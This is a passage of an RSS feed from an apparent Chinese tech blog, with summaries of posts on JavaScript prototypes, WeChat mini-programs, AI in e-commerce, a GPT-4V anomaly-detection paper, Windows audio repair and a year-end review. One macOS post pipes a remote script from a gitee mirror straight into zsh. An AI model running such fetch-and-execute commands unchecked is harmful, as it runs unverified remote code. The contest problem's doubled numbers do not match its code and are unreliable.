这里可以看到，constructor有一个name属性;根据ES6类的语法规则，所有在类中定义的属性(本例的属性bark)，都自动加入到类的prototype中,Dog类本身有两个属性：constructor和bark。&#xA;有两种方式可以查看类的原型中的属性，一种是通过类本身的prototype，另一种是通过实例的__proto__。&#xA;从上图的调试信息可以看到，Dog类的prototype也是一个object，其中有两个属性bark和constructor，另外还有一个原型对象([[Prototype]])。&#xA;通常类的实例的__proto__直接引用类的prototype，如果类本身不包含某个属性，JS就会向下搜索原型链，查看在原型链中是否能找到被访问的属性。而在dog1实例中，发现有两个[[prototype]]，而且还有包含关系，这就是所谓的原型链。&#xA;因为所有实例都可以访问类的原型对象，因此原型模式使得实例在访问相同属性时，不用每次都创建该属性的副本。只需要将属性加入到原型中，则所有的实例都可以访问。另外，在创建实例对象后，也支持添加新的属性到原型中，其他实例对象也可以访问这个新加入的属性。&#xA;const dog2 = new Dog(&#34;Husky&#34;) Dog.prototype.play = ()=&amp;gt; console.log(`playing`); dog1.play(); 我们再创建一个“Husky”的实例，然后对Dog类的原型添加一个新的属性play，接着通过dog1实例来调用play函数，看能否正常运行。&#xA;从运行结果来看，dog1能正常访问play属性。&#xA;再举个例子，定义一个SuperDog并继承Dog，SuperDog有一个fly属性。通过创建一个SuperDog的实例dog3，且dog3调用bark属性&#xA;class SuperDog extends Dog { constructor(name) { super(name); } fly() { console.log(&#34;Flying!&#34;); } } const dog3 = new SuperDog(&#34;Super&#34;) dog3.fly(); dog3.bark(); console.log(dog3.__proto__); 此示例中有3级原型链，实例访问属性的搜索路径也非常清晰。dog3._proto_ -&amp;gt; SuperDog.</description>
    </item>
    <item>
      <title>微信小程序开发系列-10组件间通信01</title>
      <link>https://bchobby.github.io/posts/aadfe039356129a19e64ae2b16b93aa5/</link>
      <pubDate>Sun, 31 Dec 2023 22:07:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aadfe039356129a19e64ae2b16b93aa5/</guid>
      <description>微信小程序开发系列目录 《微信小程序开发系列-01创建一个最小的小程序项目》&#xA;《微信小程序开发系列-02注册小程序》&#xA;《微信小程序开发系列-03全局配置中的“window”和“tabBar”》&#xA;《微信小程序开发系列-04获取用户图像和昵称》&#xA;《微信小程序开发系列-05登录小程序》&#xA;《微信小程序开发系列-06事件》&#xA;《微信小程序开发系列-07组件》&#xA;《微信小程序开发系列-08自定义组件模版特性》&#xA;《微信小程序开发系列-09自定义组件样式特性》&#xA;​&#xA;文章目录 微信小程序开发系列目录前言组件间通信普通事件绑定自定义事件类型绑定 总结 前言 通过06、07、08文章可以知道页面有事件系统，页面可以通过数据绑定进行逻辑层和渲染层通信。自定义组件可理解为一种特殊的页面，因此组件间、组件与“页面”间应该也是可以通信的。那么本文就学习下组件间的通信方式。&#xA;组件间通信 组件间的基本通信方式有以下3种。&#xA;WXML 数据绑定：用于父组件向子组件的指定属性设置数据，仅能设置 JSON 兼容数据（自基础库版本 2.0.9 开始，还可以在数据中包含函数）。《微信小程序开发系列-08自定义组件模版特性》文章的数据绑定一节有介绍，本文不再赘述。事件：用于子组件向父组件传递数据，可以传递任意数据。父组件可以通过 this.selectComponent 方法获取子组件实例对象，直接访问子组件的任意数据和方法。 普通事件绑定 框架为开发者提供了一系列基础组件，而基础组件的事件在页面中的完整生成方式是：&#xA;在页面wxml的标签上通过bindtap指定事件处理函数；在页面的js中声明事件处理函数；当用户点击对应的标签时，事件便能触发； 框架为开发者提供了一系列事件类型，如tap事件(详细可参考《微信小程序开发系列-06事件》事件分类一节)。因此对开发者来说只需要2步就能完成对事件的处理：&#xA;绑定事件处理函数：在wxml文件的标签上通过bindtap绑定tap的事件处理函数声明事件处理函数：在对应的js中声明事件处理函数 做完这两步后，当用户点击对应的标签时，事件便能触发；只要是框架已经提供的事件类型，无论是页面还是自定义组件都可以按照这种方式来构造事件的处理。&#xA;为了便于后文的表述，我将框架提供的事件类型称为“标准事件”。&#xA;到这里，便想到一个问题，如果我想自定义事件，而不是框架已经为我们定义好的事件类型，那应该怎么实现？&#xA;自定义事件类型绑定 对于“标准事件”，声明事件处理函数的动作相当于注册了一个监听函数，当事件触发时，就会调用这个监听函数。其实，到目前为止，我一直不知道 当用户点击标签，这个点击动作的产生 到 监听函数被调用之间到底发生了什么？怎样就触发了 监听函数被调用？&#xA;到这里，便想到一个问题，如果我想自定义事件，而不是框架已经为我们定义好的事件类型，那应该怎么实现？&#xA;例如，我将bind:tap改成bing:sif666_event，其他都不改，myEvent函数还会被调用吗？试下。。。&#xA;结果是myEvent函数没有被调用，console没有输出。我猜想tap事件被触发 到监听函数被调用之间可能还有一个什么动作，而这个动作可能就是console没有输出的关键。&#xA;我们前面提到的那个关键“动作”就是triggerEvent函数。它可以为自定义事件类型在code层面去触发事件，进而做出响应。&#xA;自定义触发事件的选项还可以控制是否冒泡、捕获等。本文就不再演示了。&#xA;总结 本文掌握了普通事件绑定和自定义事件类型绑定，重点是理解自定义事件类型的绑定，该方法给开发者更多自由发挥的空间。selectComponent方法将在下篇博文中记录。</description>
    </item>
    <item>
      <title>微信小程序与vue区别</title>
      <link>https://bchobby.github.io/posts/f35638e7035aa8a877f5bbb017e96558/</link>
      <pubDate>Sun, 31 Dec 2023 22:00:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f35638e7035aa8a877f5bbb017e96558/</guid>
      <description>微信小程序和Vue是两个完全不同的东西，虽然它们都是前端技术，但是有以下几点区别：&#xA;技术栈不同： 微信小程序使用WXML、WXSS和JavaScript进行开发，而Vue使用HTML、CSS和JavaScript进行开发。微信小程序是一种基于微信平台的专门的小程序开发技术，而Vue是一种通用的前端开发框架，可以用于创建各种类型的Web应用程序。&#xA;目标平台不同： 微信小程序是一种专门为微信平台设计的小程序，可以在微信中直接运行，而Vue可以用于开发各种类型的Web应用程序，可以在各种浏览器中运行。&#xA;开发方式不同： 微信小程序开发需要使用微信提供的开发工具和API，遵循微信小程序的开发规范和限制；而Vue开发则可以使用各种开发工具和框架，自由度更高。&#xA;生命周期不同： 微信小程序有自己的生命周期，与Vue的生命周期不同，需要特别注意。微信小程序的生命周期包括onLoad、onShow、onReady等；而Vue的生命周期包括beforeCreate、created、mounted等。&#xA;组件系统不同： 微信小程序有自己的组件系统，而Vue也有自己的组件系统。微信小程序的组件系统与Vue的组件系统有很多不同之处，需要分别学习和掌握。</description>
    </item>
    <item>
      <title>AI电商时代开始：阿里能否反杀拼多多</title>
      <link>https://bchobby.github.io/posts/a472a8c1e70b876bc3b6d08191a90a98/</link>
      <pubDate>Sun, 31 Dec 2023 21:50:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a472a8c1e70b876bc3b6d08191a90a98/</guid>
      <description>“AI电商时代刚刚开始，对谁都是机会，也是挑战。”&#xA;针对阿里员工对于拼多多财报和电商等的讨论，马云在阿里内网罕见地参与了谈论并发言。&#xA;阿里巴巴一向雷厉风行，已打响了AI电商的“第一炮”。&#xA;根据《晚点LatePost》报道，淘天集团刚刚梳理完其AI业务，同时对内发布了淘天自己的大模型产品 “星辰”；国际数字商业集团的AI团队已超过百人。&#xA;一、淘天集团：4个AI团队，内部发布大模型“星辰” 淘天集团今年5月经历了架构重组，新管理团队亮相时，“科技驱动”成为新的三大战略之一。&#xA;但在当时，电商的业务场景如何与AI能力结合，并没有明确策略。淘天内部对AI的讨论主要是将其作为帮助中小商家提高效率的工具之一，比如当时中小商家负责人汪海曾提到会为商家免费提供包括图片和视频制作、详情页生成等有AIGC能力的工具产品等。&#xA;战略指引下，淘天集团多个团队自发在AI业务上探索，淘天一度有约20个团队在做AI相关业务，但这也导致出现了重复造轮子、同质化严重的问题。&#xA;AI的重要性在淘天集团正自上而下地贯彻。有员工称，虽然目前尚未列入考核指标，但现在所有的产品和技术人员都会被要求思考业务和AI结合的可行性，有的团队计划下个季度也开始做一些产品尝试。&#xA;淘天集团如今已经训练出了自己的大模型产品“星辰”（此前名为“图灵”），但据知情人士称，该大模型产品不会对外发布，对内主要应用于两个业务，一是搜索、广告、推荐，二是逛逛的内容化。&#xA;此外，淘天集团还在筹建新的大模型研究团队，计划以技术名义形成一个大团队，与集团内几个应用场景探索的AI业务团队，共用底层显卡、算法工程。&#xA;目前，淘天集团在AI上已经有诸多应用。&#xA;AI能力在电商场景里的应用并非刚开始，淘宝“千人千面”的算法模型本质就是AI。只不过，基于自然语言的交互，还可以生成图片、视频等内容的大模型AI带来了更大的想象空间。&#xA;移动互联网时代的产品从来不是将网页上的东西直接搬到手机上，AI时代会有什么新的产品和应用形态目前还难以想象。&#xA;在更远的未来到来之前，竞争可能仍然是阿里电商最为紧迫的事情。&#xA;二、阿里国际商业集团：百人AI团队，1/3在训练模型 阿里国际商业集团成立AIBusiness，AI Business团队中，模型训练人员在1/3左右，其他人员负责模型推理应用和基建以及具体产品的开发运营。&#xA;算法团队主攻三个方向：多语言的电商大模型训练，对话模型和下游任务，图像生成能力。&#xA;AI Business的AI服务已应用在阿里国际内部的AliExpress（速卖通）、Trendyol、Daraz等业务，主要包括商品信息本地化、图像设计、客服机器人、客服翻译等场景。&#xA;11月，基于自研的LLM模型，AI Business团队正式对外发布具备翻译、营销、本地化内容、设计等一系列功能的AI产品“Aidge”，除了支持阿里国际各业务，还将接口开放给了独立软件服务商（ISV）和SaaS服务商，以供他们在此基础上开发出更符合商家需求的产品。&#xA;在AI Business的“Aidge”产品发布前，阿里国际旗下各业务部门的技术团队已经自主做了一些应用的尝试和探索。&#xA;比如今年8月，国际批发业务阿里国际站率先发布一款商家侧的AI应用，包含生意助手和OKKI AI两大服务，帮助商家智能发布和管理商品，更高效地生成图片和视频，还可以提供实时翻译、数据分析等功能。11月，优化后的商品获得的海外询盘量比之前增加了15%。&#xA;三、AI电商时代正在开启 正如马云所言，AI电商时代才刚刚开始。&#xA;在海外，亚马逊同阿里巴巴一样，同样开启了AI化进程。并且同阿里巴巴在国内面对拼多多和抖音快手一样，亚马逊当前也正面临Temu、SHEIN还有TikTok的威胁。&#xA;而在国内，京东也毫不示弱，全线配备了AI智能客服“京小智”，在双十一期间，开售仅10分钟，京东云智能客服累计咨询服务量就超过了188万次。与此同时，其他互联网公司也瞄准了这个领域，腾讯广告利用混元大模型支持了智能化广告制作；百度上线百度优选智能助手“小优”，给消费者当智能导购；小红书也上线了AI智能笔记助手，帮助商家实现商品笔记一键发布。&#xA;在整个电商产业链中，AI在每个节点都开始发挥重要作用。</description>
    </item>
    <item>
      <title>【更新】cyのMemo（20231231~）</title>
      <link>https://bchobby.github.io/posts/a8ffb4f1a8b5eb22e8a8432cafed5b22/</link>
      <pubDate>Sun, 31 Dec 2023 21:35:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8ffb4f1a8b5eb22e8a8432cafed5b22/</guid>
      <description>序言 最终，无事发生，我的跨年是在图书馆（因为我忘带卡打不开实验室门），和去年一样。其实我并不想去图书馆，但是觉得在床上跨年太颓废，找个好点的处所，至少说得过去些。人嘛，体面些，不磕碜。&#xA;我对2023年基本满意，至少比前两年要好很多，在经历越来越多事情后，对世间事物的运行规律更加清楚，对自己的未来更加明晰。大家都是资深成年人，跨不跨年又有何谓？正如我现在认为的那样，拼死拼活，爬到多高的位置，无非是换了个圈子，总有比你更强的人，如果给我重来的机会，或许本科毕业就找个活干。不如养生。&#xA;20231231 吃惊地发现SXY在31日凌晨两点多竟然在淮海中路云海大厦的一间酒吧，灯红酒绿。我不是对酒吧有何偏见，但是至少在我的印象里，SXY不像是那种会去酒吧到深夜的人，我不清楚为什么，但人或许总是会变。之前跟宝玺、剑仙一起吃饭时，宝玺问你们喝酒都是为了什么，剑仙说当然是精神解脱，我不以为然，因为我喝酒都是跟最好的朋友一起吃饭才会喝。或许酒的确是有那些用途的吧。然而，LXY不仅没有感冒，而且生龙活虎地在31日清晨七点，去操场跑23.24km跨年（用时2:00:55，平均配速5’12&#34;/km，汗颜），瞋目结舌。我知道她很猛，但没想到会这么猛。我自己最长也不曾跑过半马以上的距离，更不用说是在场地。而且31号早晨重度污染，好多跑团的活动都临时取消，真是早起的鸟儿有霾吸。我撺掇LXY一起报锡马，她要是能去，我们四五个兄弟绝对不追求成绩，主线任务就是破风带路。旧岁到此结束，无论喜怒哀乐，相信新年将有无限可能。——To you all df.apply的broadcast参数，布尔型的可选参数。当为None或False时，会返回一个与原dataframe的column或index长度相同的Series。 当为True时，会返回一个index和column跟原dataframe相同的dataframe（当然结果进行了广播）。&#xA;还有一个很重要的参数raw： 布尔型。默认为False。当为False时，会将dataframe中的每一个column或每一个index上以Series的形式传到函数中（这也是常规的做法，此时逻辑是循环，通常很慢）。当为True时，则会把数据以np.ndarray的形式传到函数中，如果这个时候func用的就是numpy的函数，则执行效率会非常高。&#xA;在0.23版本以后，这个参数会被替换成result_type=&#39;broadcast&#39;，可选值包括以下几种：expand、reduce、broardcast、None。确定返回形式。（0.23.0以后版本才有并且只有当axis=1时这个参数才能发挥作用）&#xA;此外，apply支持位置参数agrs，和关键词参数**kwds 另外，假定X是dataframe的一列，比如每行的数值是一个列表或者np.ndarray，可以使用np.array(X)是无法将它变成一个矩阵的，得用np.stack或者np.vstack才行。</description>
    </item>
    <item>
      <title>迈向通用异常检测和理解：大规模视觉语言模型（GPT-4V）率先推出</title>
      <link>https://bchobby.github.io/posts/b0e65a28bab4dddfcf6faa41410b86b1/</link>
      <pubDate>Sun, 31 Dec 2023 21:31:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0e65a28bab4dddfcf6faa41410b86b1/</guid>
      <description>PAPERCODEhttps://arxiv.org/pdf/2311.02782.pdfhttps://github.com/caoyunkang/GPT4V-for-Generic-Anomaly-Detection 图1 GPT-4V在多模态多任务异常检测中的综合评估 在这项研究中，我们在多模态异常检测的背景下对GPT-4V进行了全面评估。我们考虑了四种模式：图像、视频、点云和时间序列，并探索了九个具体任务，包括工业图像异常检测/定位、点云异常检测、医学图像异常检测/定位、逻辑异常检测、行人异常检测、交通异常检测和时间序列异常检测。我们的评估包括 15 个数据集。&#xA;摘要 异常检测是跨不同域和数据类型的关键任务。但是，现有的异常检测模型通常是针对特定域和模式设计的。本研究探讨了如何使用强大的视觉语言模型 GPT-4V（ision） 以通用方式处理异常检测任务。我们研究了 GPT-4V 在多模态、多域异常检测任务中的应用，包括图像、视频、点云和时间序列数据，涉及多个应用领域，例如工业、医疗、逻辑、视频、3D 异常检测和定位任务。为了提高 GPT-4V 的性能，我们结合了不同类型的附加提示，例如类信息、人类专业知识和参考图像作为提示。根据我们的实验，GPT-4V 被证明在零/单次异常检测中检测和解释全局和细粒度语义模式方面非常有效。这样可以准确区分正常和异常实例。尽管我们在这项研究中进行了广泛的评估，但仍有未来的评估空间，可以从不同方面进一步挖掘 GPT-4V 的通用异常检测能力。其中包括探索定量指标、扩展评估基准、纳入多轮互动以及纳入人类反馈循环。尽管如此，GPT-4V 在通用异常检测和理解方面表现出可喜的性能，从而为异常检测开辟了一条新途径。所有评估示例（包括图像和文本提示）都将在 GPT4V-for-Generic-Anomaly-Detection https://github.com/caoyunkang/ 提供。&#xA;动机和概述 异常检测技术已广泛应用于不同的领域，如工业检测[29,98]、医疗对角线[107]、视频监控[84]、欺诈检测[30]以及许多其他识别异常情况至关重要的领域。尽管存在许多用于异常检测的技术[14,3,69,41,38,79,110,16,103]，但许多现有方法主要依赖于描述正态数据分布的方法。他们经常忽视高层次的感知，主要将其视为低层次的任务。但是，异常检测的实际应用通常需要对数据有更全面、更高级的理解。要实现这种理解，至少需要三个关键步骤：&#xA;了解数据类型和类别： 第一步涉及对数据集中存在的数据类型和类别的透彻理解。数据可以采取多种形式，包括图像、视频、点云、时间序列数据等。每种数据类型都可能需要特定的异常检测方法和注意事项。此外，不同的类别可能对正常状态有不同的定义。确定正态的标准：在获得数据类型和类别后，可以进一步推理正态态的标准，这需要对数据有较高的了解。评估数据一致性：最后一步是评估提供的数据是否符合既定的正态性标准。任何偏离这些标准的行为都可以归类为异常。 我们的方法 提示 GPT-4V 进行异常检测 任务信息提示：为了有效提示 GPT-4V 进行异常检测，必须提供清晰的任务信息。本研究将提示表述如下：“请确定图像是否包含异常点或异常点。类信息提示：对数据类型和类别的理解至关重要。如果 GPT-4V 可能难以识别数据类，可能会提供显式类信息。例如，“请确定与 {CLS} 相关的图像是否包含异常或缺陷。正常标准提示：GPT-4V在回答与确定正常标准相关的问题时可能会遇到困难，有时如果没有人类专业知识，甚至无法检查标准。因此，本研究也明确提供了正常标准。例如，MVTec-LOCO [7] 中早餐盒的正常标准可以表示如下：“1.它应该包含两个橙子、一个桃子和一些谷物、坚果和香蕉片;2.水果应该在饭盒的左边，麦片在右上方，坚果和香蕉片在饭盒的右下方。参考图像提示：为确保正常标准和图像之间更好地对齐，在语言提示旁边提供了普通参考图像。例如，“第一张图片是正常的。请确定第二张图像是否包含异常或缺陷。 基于GPT-4V的异常检测评估的局限性 定性结果的优势：分析主要依赖于定性评估，缺乏定量指标，无法更客观地评估模型在异常检测方面的性能。纳入量化措施将为评估提供更有力的基础。评估案例的范围：评估仅限于有限的案例或场景范围。这种狭隘的焦点可能无法完全捕捉到实际异常检测任务中遇到的各种挑战。扩大评估案例的范围将更全面地了解模型的功能。单次互动评估：该研究主要集中在单轮对话上。相比之下，正如GPT-4V的上下文学习能力所观察到的那样[101]，多轮对话可以激发更深层次的互动。单轮对话方法限制了交互的深度，并可能限制模型的理解力及其在响应异常检测任务方面的有效性。探索多轮交互可以揭示模型性能的更细致入微的观点。 实验 本研究进行了广泛的评估，以评估 GPT-4V 在异常检测方面的能力，如图 1 所示。从模态的角度来看，我们评估了图像（第 3、4、6、7、8 节）、点云（第 5 节）、视频（第 9、10 节）和时间序列（第 11 节）。从领域的角度，对工业检查（第3、4、6、5节）、医疗诊断（第7、8节）和视频监控（第9、10节）进行评估。据我们所知，这是第一项调查如此广泛的异常检测模式和领域的研究。&#xA;工业图像异常检测 不同的提示 [ 101， 56 ] 可能会导致 GPT-4V 的不同响应。我们旨在研究不同信息对提示 GPT-4V 进行工业异常检测的影响。在前面讨论的问题之后，本研究进一步发展了三个提示，a）类别信息：所需检测产品的名称，如“瓶子”和“蜡烛”，b）人类专业知识：正常外观和潜在的异常状态，并用语言表达它们，例如，“通常，给出的图像应该显示干净且结构良好的印刷电路板（PCB），并带有清晰的痕迹， 焊接组件和不同的标签。它可能存在引脚弯曲、冷焊点、元件缺失或标签污迹等缺陷“， c） 参考图像：正常参考图像，以使 GPT-4V 更好地了解正态性。我们建议在零样本设置（仅带有语言提示）或单样本设置（与语言提示一起提供一张参考图像）中评估 GPT-4V。对于每个设置，我们测试了三种不同的变体：a） 幼稚的提示，例如“请确定图像是否包含异常或缺陷”，b） 带有类信息，以及 c） 具有人类专业知识。</description>
    </item>
    <item>
      <title>Windows10系统的音频不可用，使用疑难解答后提示【 一个或多个音频服务未运行】</title>
      <link>https://bchobby.github.io/posts/67269ef1af6b27c60e3425bb2c9622e8/</link>
      <pubDate>Sun, 31 Dec 2023 21:29:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67269ef1af6b27c60e3425bb2c9622e8/</guid>
      <description> 一、问题描述 打开电脑，发现电脑右下角的音频图标显示为X（即不可用，无法播放声音），使用音频自带的【声音问题疑难解答】（选中音频图标，点击鼠标右键，然后选择“声音问题疑难解答(T)”即可操作）后提示“一个或多个音频服务未运行”；尝试启动【Windows audio】或【Audiosrv】服务也是无法启动且提示“193 0xc1”错误。&#xA;二、问题分析 音频不能使用，一般是由于音频服务没有启动，一般去服务界面启动【Windows audio】和【Windows Audio Endpoint Builder】、【Audiosrv】服务即可；但是我这边启动这些服务的时候是报错的；那么就有可能是服务出问题了，需要进行修复（&#xA;方法一：是使用Windows自带的修复命令进行修复；&#xA;方法二：是使用第三方驱动软件（如：IT天空的万能驱动 ）或电脑品牌商的官网下载对应驱动&#xA;更新音频驱动&#xA;）；&#xA;三、解决办法 我这里使用Windows自带的修复命令进行修复，操作如下：&#xA;《0》使用管理员身份打开PowerShell&#xA;3.1、执行系统扫描并修复 执行系统扫描命令并修复系统，待修复命完成后，重启系统然后查看音频图标是否正常可以播放声音。&#xA;--Windows系统扫描并修复命令 sfc /scannow 3.2、若执行系统扫描修复命令后音频未修复在按如下步骤操作 《1》扫描系统镜像是否完整&#xA;DISM.exe /Online /Cleanup-image /Scanhealth 《2》检测系统镜像情况&#xA;DISM.exe /Online /Cleanup-image /Checkhealth 《3》修复系统镜像&#xA;DISM.exe /Online /Cleanup-image /Restorehealth 《4》系统扫描并修复&#xA;sfc /scannow 最后修复完成后需要重启系统，音频就可以正常使用了。 </description>
    </item>
    <item>
      <title>mac安装yum</title>
      <link>https://bchobby.github.io/posts/6a1f6993a4fa4300ad778fa2e62e4279/</link>
      <pubDate>Sun, 31 Dec 2023 21:14:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a1f6993a4fa4300ad778fa2e62e4279/</guid>
      <description>1. 安装brew /bin/zsh -c “$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)”&#xA;安装成功 但还需要重启终端 或者 运行 source /Users/wangjun/.zprofile 否则可能无法使用&#xA;2. 安装yum brew install yum</description>
    </item>
    <item>
      <title>[蓝桥杯 2018省赛]回家路费</title>
      <link>https://bchobby.github.io/posts/34a31c873c1b8255b8dfcbfa4b21f49b/</link>
      <pubDate>Sun, 31 Dec 2023 20:25:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34a31c873c1b8255b8dfcbfa4b21f49b/</guid>
      <description> 回家路费&#xA;题目描述 本题为填空题，只需要算出结果后，在代码中使用输出语句将所填结果输出即可。&#xA;小明被不明势力劫持。后莫名其妙被扔到 X 星站再无问津。小明得知每天都有飞船飞往地球，但需要 108108 元的船票，而他却身无分文。&#xA;他决定在 X 星战打工。好心的老板答应包食宿，第 11 天给他 11 元钱。 并且，以后的每一天都比前一天多 22 元钱，直到他有足够的钱买票。 请计算一下，小明在第几天就能凑够 108108 元，返回地球。&#xA;运行限制 最大运行时间：1s最大运行内存: 128M 总通过次数: 1490 | 总提交次数: 1523 | 通过率: 97.8%&#xA;难度: 困难 标签: 2018&#xA;代码分享： #include &amp;lt;iostream&amp;gt; using namespace std; int main() { int day=1,i=1,sum=1; for(i=2;;i++){ day+=2; sum+=day; if(sum&amp;gt;=108) break; } cout&amp;lt;&amp;lt;i; // 请在此输入您的代码 return 0; } </description>
    </item>
    <item>
      <title>2023年度学习总结</title>
      <link>https://bchobby.github.io/posts/4174ee76318d3e878359f3acbb6b43f1/</link>
      <pubDate>Sun, 31 Dec 2023 20:15:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4174ee76318d3e878359f3acbb6b43f1/</guid>
      <description>想想大一刚开始在CSDN写作，这一坚持，就是我在CSDN的第九个年头，这也是在CSDN最有里程碑的一年，这一年我被评为CSDN的博客专家啦！先是被评为Unity开发领域新星创作者，写的关于一部分Unity开发的心得获得大家的青睐，然后一鼓作气申请了博客专家。&#xA;研究生刚开始做Unity和HoloLens 2的二次开发，后来组里接了一个更大的课题，我们需要自研一个AR头盔，从硬件到软件全部国产化自研，导师很放心我们，于是我开始从底层的SLAM做起。SLAM虽然科研不好做，很小众，但是很有挑战，也是未来的方向，所以这一年我算是踏入视觉SLAM，成为一个小SLAMer了。希望未来学成的时候，能赶上机器人大规模普及，就业一片蓝海。&#xA;视觉SLAM属于计算机视觉和机器人研究的交叉领域，因此涉及的基础知识广而分散。视觉SLAM有参考书还是比较幸运的，然而市面上的书都偏数学推导，对初学者不太友好，高翔博士的《视觉SLAM十四讲》是一本非常好的视觉SLAM教材。于是跟着高博学习实践。疫情放开了，那就又更理想的生活，记录一下2023年的成长，回顾过去，展望未来，我将从工作成长、生活娱乐和身体健康三个方面进行总结。&#xA;文章目录 一、工作成长1、开始学习C++2、学习ROS操作系统3、学习ORB-SLAM24、C++实现了一个通讯录管理系统5、从单一传感器到多传感器融合6、INDEMIND双目惯性模组运行多模态融合7、参加 “大挑”比赛8、参加 “大唐杯”比赛9、ORB-SLAM3实时运行10、INDEMIND相机Windows平台运行11、学习使用EVO工具12、ROS 系统 bag录制12、学习ORB-SLAM3的三大线程13、改进点云14、总结VI-SLAM系统15、相机标定16、Kalibr工具线对相机+IMU离线标定17、相机和IMU联合标定18、学习RANSAC算法进行点云的平面拟合19、学习OpenGL渲染20、学习Vulkan渲染21、参加全军统一考试22、参加国考23、参加京考 二、生活娱乐1、小破球2真的震撼2、世纪剧院仙剑奇侠传视听音乐会3、打卡重庆解放碑4、去了重庆的洪崖洞5、喝了鹅岭二厂的COFFEE HOLIC6、观音桥吃重庆火锅7、转了转钟书阁恢弘大气8、涂鸦一条街很有趣9、交通茶馆喝一盏茶10、四川美院逛逛11、逛逛来福士12、磁器口古镇13、蹦床公园14、学会了钓鱼15、五月天鸟巢16、参加《北京科幻大会》17、观看《银河护卫队3》18、观看《消失的她》19、观摩西安碑林博物馆20、西安ACC漫展，一发入魂沙鲁21、逛西安钟楼22、大唐不夜城逛吃23、兴庆宫游园24、汉宫露营25、观光芙蓉园26、观看《封神第一部》27、观看《长安三万里》28、环球影城第一届万圣季 三、身体健康1、开始徒步旅行2、卡丁车第一次就跑了1’113、学会了反曲弓射箭4、入门双板滑雪5、第一次骑行100km到白虎涧6、单板落叶飘更丝滑了7、入门速降山地车，体验速度与激情8、骑行功率又涨了9、学会钓鱼10、牙套摘啦，大胆笑更闪耀11、网球的中速球熟练啦，2.5-3.0的样子12、西安城墙骑山地车13、夜爬华山4H11min到达北峰14、尝试拳击，人生体验+115、公路骑行爬妙峰山5H14min16、单板学会换刃，去了富龙滑雪17、双板滑雪学会犁式 四、总结 工作成长生活娱乐身体健康开始学习C++小破球2真的震撼开始徒步旅行学习使用INDEMIND双目惯性模组世纪剧院仙剑奇侠传视听音乐会卡丁车第一次就跑了1’11参加 “大挑”比赛打卡重庆解放碑学会了反曲弓射箭参加“大唐杯”比赛去了重庆的洪崖洞入门双板滑雪使用ORB-SLAM2跑自己的数据喝了鹅岭二厂的COFFEE HOLIC第一次骑行100km到白虎涧多了解了Unity API观音桥吃重庆火锅单板落叶飘更丝滑了学习使用EVO工具转了转钟书阁恢弘大气入门速降山地车，体验速度与激情学习ROS，在ROS下会使用bag录制涂鸦一条街很有趣骑行功率又涨了改进了INDEMIND模组点云功能，使其能够输出保存交通茶馆喝一盏茶学会钓鱼用的全部自研的传感器， 参加了电赛四川美院逛逛牙套摘啦，大胆笑更闪耀对比VI-SLAM系统逛逛来福士网球的中速球熟练啦，2.5-3.0的样子学习如何有效的阅读文献磁器口古镇西安城墙骑山地车重新学习了相机标定蹦床公园夜爬华山4H11min到达北峰学习Kalibr标定工具学会了钓鱼尝试拳击，人生体验+1使用ORB-SLAM3跑自己的数据五月天鸟巢公路骑行爬妙峰山5H14min学习RANSAC算法进行点云的平面拟合参加《北京科幻大会》单板学会换刃，去了富龙滑雪学习OpenGL渲染观看《银河护卫队3》双板滑雪学会犁式学习Vulkan渲染观看《消失的她》参加第九届中国虚拟现实产学研大会观摩西安碑林博物馆和实验室的小伙伴组了一个增强现实头盔西安ACC漫展，一发入魂沙鲁学习搭建PTAM系统逛西安钟楼学习搭建ORB-SLAM系统大唐不夜城逛吃学习搭建ORB-SLAM系统兴庆宫游园学习搭建ORB-SLAM2系统汉宫露营学习搭建ORB-SLAM-VI系统观光芙蓉园学习搭建ORB-SLAM3系统观看《封神第一部》EuRoC数据集配置及评价观看《长安三万里》TUM-VI数据集配置及评价环球影城第一届万圣季IMU预积分的计算Bundle Adjustment算法PnP算法Sim3算法参加2023中国元宇宙大会 一、工作成长 1、开始学习C++ 做底层的操作需要C++开发，本科时只学过Java，所以需要学习C++语法，有了面向对象的基础，C++学起来也得心应手起来。刚开始接到大课题需要视觉SLAM，在AR应用中通常使用轻便、价格低廉的单目相机设备，仅使用一个摄像头作为传感器完成同步定位与地图创建操作，具有系统结构简单、成本低且易实现等优点。正是尺度不确定性才使得单目SLAM 能够在大尺度和小尺度环境之间进行自由转换。&#xA;所以单目视觉SLAM成为增强现实领域的研究热点，我也在单目视觉SLAM开始做研究。接着因为需要的场景是应急救援的灾害场景，需要的环境比较复杂，所以当时加上IMU做一个融合计算。后来硬件同步上还有时间同步机制感觉不容易操作，偶然间发现了一款高博推荐的双目惯性模组。目前最近的SDK版本是1.4.2，这个相机成本便宜，有硬同步的IMU，频率也够高，自带标定，对于目前我只做视觉SLAM定位足够用了。然而封库，其他各种依赖库要跟着SDK的库，OpenCV不使用ROS自带的版本，使用单独版本3.4.3等等。这个SDK组织得真的是一言难尽。&#xA;2、学习ROS操作系统 因为算法的需要实时性较高，所以学习ROS操作系统，ROS是机器人操作系统，简单来说就是封装好通信机制的一个框架，底层都已经写好了。&#xA;3、学习ORB-SLAM2 仔细研究了ncepu_Chen讲解的ORB-SLAM2源码，大佬分析的十分通透，深入的了解ORB-SLAM2的三大线程，三个线程建图和三维重建都十分准确。&#xA;4、C++实现了一个通讯录管理系统 接着用C++实现了一个通讯录管理系统，主要涉及结构体和指针的使用，旨在复习C++的语法。&#xA;5、从单一传感器到多传感器融合 当时能够编译运行诸如此类的特征法SLAM开源项目了，虽然初学经历了各种尝试，但是熟悉了Linux系统和ROS系统的操作、cmake、shell、OpenCV等等，为了能够自己进行开发，还需要更深入的学习。发现碰到纹理复杂，大尺度等条件，结合我们应急救援的背景，感觉单一传感器已经不太能够满足需求了&#xA;6、INDEMIND双目惯性模组运行多模态融合 实验室做视觉SLAM需要IMU相机，购入INDEMIND双目惯性模组运行多模态融合的感知定位，官网上关于ROS环境下的教程十分简略，直接按照官网的步骤无法实现相机数据读取并发布到指定的topic上，于是把自己的安装过程记录下来，做了总结。&#xA;7、参加 “大挑”比赛 参加 